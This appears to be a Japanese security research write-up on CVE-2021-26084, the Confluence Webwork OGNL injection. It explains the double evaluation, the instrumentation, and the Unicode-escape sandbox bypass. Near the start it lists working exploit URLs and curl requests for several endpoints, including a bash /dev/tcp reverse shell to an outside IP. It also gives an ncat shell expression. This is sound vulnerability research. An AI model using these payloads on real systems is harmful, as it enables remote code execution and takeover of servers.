
CVE-2021-26084 - Confluence Server Webwork OGNLインジェクション
この記事では、認証済みユーザーが Confluence Server または Data Center インスタンス上で任意のコードを実行できるようにする CVE-2021-26084(Confluence Server の Webwork OGNL インジェクション)[1] の概要を説明します。
Confluence Server / Data Center は、Web リクエストを処理するために Webwork 2 MVC フレームワークを利用しており、ビュー層は主に Velocity テンプレートで構成されています。Velocity テンプレートが $ を含む value 属性を持つ Webwork タグを使用する場合、二重評価が行われます。$ を含む Value 属性を持つ Webwork タグが検出されると、Velocity テンプレートの解析中に最初の評価が行われます。この評価された値は Webwork タグに渡され、さらに OGNL 式として評価されます。アクションクラスが value 属性で使用されるパラメータに対する setter 関数を公開している場合、このパラメータは URL パラメータを使用して URL から設定できます。したがって、OGNL ペイロードを含む URL を作成することで、攻撃者は影響を受けるバージョンの Confluence Server / Data Center でリモートコード実行を行うことができます。
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
式言語インジェクションの脆弱性は、アプリケーションがユーザー制御可能なデータをコードインタープリタによって動的に評価される文字列に組み込む場合に発生します。ユーザーデータが厳密に検証されていない場合、攻撃者は巧妙に細工した入力を使用して実行されるコードを変更し、サーバーによって実行される任意のコードを注入することができます [2]。Object-Graph Navigation Language(OGNL)[3] は、Java オブジェクトを扱うための式言語です。OGNL インジェクションの脆弱性が存在する場合、攻撃者は OGNL 式を注入し、それを利用して任意の Java コードを実行することが可能になります。プロパティの取得/設定に加えて、OGNL はさらに多くの機能をサポートしており、その中でも以下はエクスプロイト開発の観点から興味深いと思われます。
静的メソッド呼び出し: @java.lang.Runtime@getRuntime()
コンストラクタ呼び出し: new java.lang.String[]{'/bin/bash','-c', ‘xcalc’}
コンテキスト変数の操作: #attr["webwork.valueStack"]
メソッド呼び出し: #attr["webwork.valueStack"].findValue()
上記を組み合わせることで、有効な OGNL 式を構成できます。典型的な OGNL 式を以下に示します:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 は、XWork と呼ばれるコマンドパターンフレームワーク API の上に構築されたプル型 MVC フレームワークであり、人気のある Apache Struts2 の前身です。Confluence は、ユーザーが送信した Web リクエストを処理するために OpenSymphony の WebWork 2 を使用しています。Webwork は、オブジェクトスタック(別名 ValueStack)を操作するための OGNL ベースの強力な式言語をサポートしています。また、JSP、FreeMarker、Velocity を含む複数のビューテクノロジーをサポートし、リッチなタグライブラリも提供します。Mike Cannon-Brookes による「WebWork: Strutting the OpenSymphony way」[4] は、Webwork 2 フレームワークの優れた概要を提供しています。この脆弱性に特に関連するものとして、Webwork が次の機能をサポートしていることが挙げられます:
この脆弱性の検出は主にホワイトボックステストのアプローチで行われ、ソースコードの計装(インストルメンテーション)を使用して OGNL 評価を分析しました。Apache Struts における OGNL インジェクションに関する GHSL 研究者 Man Yue Mo の優れた研究 [5] [6] [7] に従い、UIBean クラスの evaluateParams メソッドが興味深い候補として注目されました。Confluence Data Center 内の webwork ライブラリのコードベース(atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar)は JD GUI を使用して抽出され、evaluateParams と同様のメソッドが分析されました。最も近い一致は、com.opensymphony.webwork.views.jsp.ui.AbstractUITag の protected void evaluateParams(OgnlValueStack stack) メソッドでした。ソースコード分析により、com.opensymphony.webwork.util.SafeExpressionUtil クラスが存在し、大多数の OGNL ペイロードをブロックしていることも明らかになりました。
著者はデバッガーを使って Confluence Server を実行する専門知識をほとんど持っていなかったため、上記のクラスにおける OGNL 評価の結果をダンプするためにプリミティブな print 文が使用されました。ソースコードを計装する手順は次のとおりです:
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
# use javap on the classes inside webwork jar to identify the source and target versions
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
計装済みの webwork ライブラリを使うと、レンダリングが evaluateParams メソッドで終了し、value 属性が OGNL として評価されるため、webwork タグの value 属性が潜在的なインジェクションポイントであることが観察されました。また、Velocity テンプレートに $ 構文を使用して value 属性が設定された webwork タグが含まれている場合、この値は Velocity テンプレートのレンダリング中に評価され、その評価された値が Webwork タグに渡されることも観察されました。そのようなタグの典型的な例は次のとおりです:
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
value 属性は入力を OGNL として処理していましたが、$ 構文の周りに単一引用符があったため、入力は文字列として扱われていました。この制限を回避するために Unicode エスケープシーケンスが使用されました。単一引用符を直接渡すと、OGNL 実行ポイントに到達する前に HTML エンティティに変換されてしまうためです。Unicode エスケープシーケンスは OgnlUtil.compile 内で解析され、注入された OGNL ペイロードが評価される原因となる ognl.ASTAdd が形成されます。
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

Confluence コードベース内で、webwork タグとその属性に $ を含む Velocity ファイルを正規表現パターンで検索しました。Velocity ファイルが特定されると、その Velocity テンプレートを使用する対応するアクションクラスが、xwork 設定ファイル(confluence-x.y.z.jar 内の xwork.xml)を参照して特定されました。このプロセスはおおよそ次のようになります:
content-editor.vm(atlassian-confluence-7.12.4/confluence/template/custom)には、以下の Webwork タグがありました。
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
value 属性である templateId は、docreatepagefromtemplate.action エンドポイントに URL パラメータ sourceTemplateId を渡すことで設定できます。sourceTemplateId という名前の URL パラメータが呼び出されると、フレームワークによってアクションクラス(com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction)の setter 関数である setSourceTemplateId が呼び出され、sourceTemplateId メンバー変数の値が設定されます。
Velocity テンプレートが解析されると、${templateId} は最初に、sourceTemplateId メンバー変数の値を返すアクションクラスの getTemplateId 関数を呼び出すことによって評価されます。

この評価された値は Webwork タグの value 属性に渡され、そこで value 属性が OGNL 式として評価されます。最後に、Unicode エスケープシーケンスを使用し、#attr["webwork.valueStack"] 変数を利用することで、WebWork タグで使用される SafeExpressionUtil サンドボックスをバイパスし、任意の Java コードを実行することが可能になります。
